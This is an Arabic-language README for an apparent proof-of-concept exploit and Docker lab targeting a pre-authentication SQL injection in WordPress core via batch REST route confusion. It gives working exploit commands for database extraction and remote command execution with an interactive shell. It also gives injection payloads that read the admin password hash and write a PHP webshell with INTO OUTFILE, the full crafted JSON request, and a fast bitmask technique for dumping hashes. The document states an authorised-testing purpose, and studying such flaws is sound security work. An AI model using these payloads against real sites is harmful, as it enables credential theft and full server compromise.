
PoC تعليمي + مختبر لـ CVE-2026-63030 + CVE-2026-60137: حقن SQL قبل المصادقة في نواة ووردبريس عبر الالتباس في مسار REST المجمّع
مختبر ونموذج إثبات مفاهيم تعليمي لـ CVE-2026-63030 + CVE-2026-60137: حقن SQL قبل المصادقة في نواة ووردبريس عبر التباس مسارات REST الدفعية.
اكتشفها Adam Kues (Searchlight Cyber / Assetnote). تم إصلاحها في ووردبريس 6.9.5 / 7.0.2.
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..
# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # interactive shell
# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# tear down
cd docker && ./setup.sh down
POST /wp-json/batch/v1 يجمّع استدعاءات REST API متعددة في طلب HTTP واحد. لا يحتوي على أي فحص مصادقة خاص به. يُفوَّض الأمان إلى استدعاء الأذونات (permission callback) لكل طلب فرعي.
تُنشئ الدالة serve_batch_request_v1() مصفوفتين متوازيتين:
$matches[] تتتبع أي معالج سيتم توجيه كل طلب فرعي إليه$validation[] تتتبع ما إذا كان كل طلب فرعي قد اجتاز التحققيتم فهرستهما بنفس الإزاحة أثناء التوجيه. الخلل: عندما يفشل مسار طلب فرعي في wp_parse_url()، يتم دفع WP_Error إلى $validation ولكن ليس إلى $matches. يؤدي هذا إلى إزاحة $matches بمقدار واحد، لذا يتم توجيه كل طلب فرعي لاحق إلى المعالج الخاطئ.
يُستخدم اختلال المزامنة مرتين.
الدُفعة الخارجية. يتم توجيه طلب /wp/v2/posts الذي يحمل دُفعة داخلية في جسمه تحت معالج الدُفعة (استدعاء ذاتي). تم التحقق منه كطلب مقالات، لذا لم يتم فحص مصفوفة requests الداخلية مقابل مخطط الدُفعة. يؤدي هذا إلى تجاوز القائمة المسموح بها للأساليب ويتيح للطلبات الفرعية الداخلية استخدام GET.
الدُفعة الداخلية. يتم توجيه طلب /wp/v2/categories?author_exclude=<SQLI> تحت get_items() الخاص بالمقالات. لا يعرّف مخطط الفئات author_exclude، لذا يجتاز التحقق دون أي تعديل. لكن get_items() الخاص بالمقالات يربطه بـ WP_Query::author__not_in، حيث يتم إقحام القيمة خامًا في SQL.
كود WP_Query الثغري قام فقط بتعقيم author__not_in عندما كان بالفعل مصفوفة:
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation
تتجاوز القيمة النصية بوابة is_array() تمامًا. تحويل (array) يغلّفها دون تعقيمها.
اقرأ قاعدة البيانات (كل موقع متأثر):
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
oracle منطقي: ظهور مقالات يعني true، وعدم ظهور شيء يعني false. بحث ثنائي لكل حرف.
اكتب الملفات (يتطلب صلاحية FILE في MySQL، وليست الافتراضية في ووردبريس):
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -
الطلب الفعلي عبر HTTP:
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
كيف تتباين المصفوفات:
تعالج serve_batch_request_v1() الطلبات الفرعية في حلقتين. تتحقق الحلقة الأولى من كل طلب فرعي وتبني $matches[] و $validation[]. توجه الحلقة الثانية كل طلب فرعي باستخدام $matches[$i] كمعالج. لأن خطأ الطلب التمهيدي مفقود من $matches، تقرن الحلقة الثانية كل طلب بالمعالج الخاطئ.
POST /?rest_route=/batch/v1 (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /wp/v2/posts -> match: posts_handler |
| [2] POST /batch/v1 -> match: batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| error skipped in $matches |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /posts uses $matches[1] = batch_handler |
| -> posts body executed as a nested batch |
| i=2: POST /batch uses $matches[2] = out of bounds |
| |
+--------------------------------------------------------------+
|
v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /categories -> match: categories_handler |
| [2] GET /wp/v2/posts -> match: posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /categories uses $matches[1] = posts_handler |
| -> categories request handled by posts get_items() |
| -> author_exclude not in cats schema, unsanitized |
| -> posts maps it to WP_Query::author__not_in |
| -> SQL INJECTION |
| |
+--------------------------------------------------------------+
تستخدم الأدلة الموجودة استخراجًا منطقيًا أعمى: 1 بت لكل طلب HTTP، أي حوالي 224 طلبًا لتجزئة كلمة المرور. يجمع هذا المستودع بين تقنيتين لاستخراج أسرع بحوالي 75 مرة.
Oracle X-WP-Total. يضيف ووردبريس SQL_CALC_FOUND_ROWS إلى استعلامات المقالات ويضع العدد في ترويسة الاستجابة X-WP-Total. يتم عدّ صفوف UNION على مستوى SQL حتى وإن كانت PHP تقوم بتصفيتها من جسم الاستجابة. تقوم UNION الشرطية بترميز البتات الفردية:
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1
... -- bits 2-6
-- -
X-WP-Total = 0 تعني أن البت غير مضبوط، و1 تعني أن البت مضبوط. سبعة اختبارات = حرف ASCII كامل واحد.
الدُفعة الداخلية غير المحدودة. تتحقق الدُفعة الخارجية من maxItems: 25 عبر مخططها. يتجاوز التباس المسارات هذا: الدُفعة الداخلية تعمل بشكل تكراري دون أي فحص للحجم. تُجمَّع جميع اختبارات البتات السبعة لعدة أحرف في طلب واحد.
16 حرفًا × 7 بتات = 112 اختبارًا لكل طلب. تجزئة phpass بطول 34 حرفًا في ~3 طلبات بدلاً من ~224.
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent
$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent
لأغراض اختبار الاختراق المصرح به والتعليم فقط. استخدمه حصريًا ضد الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها.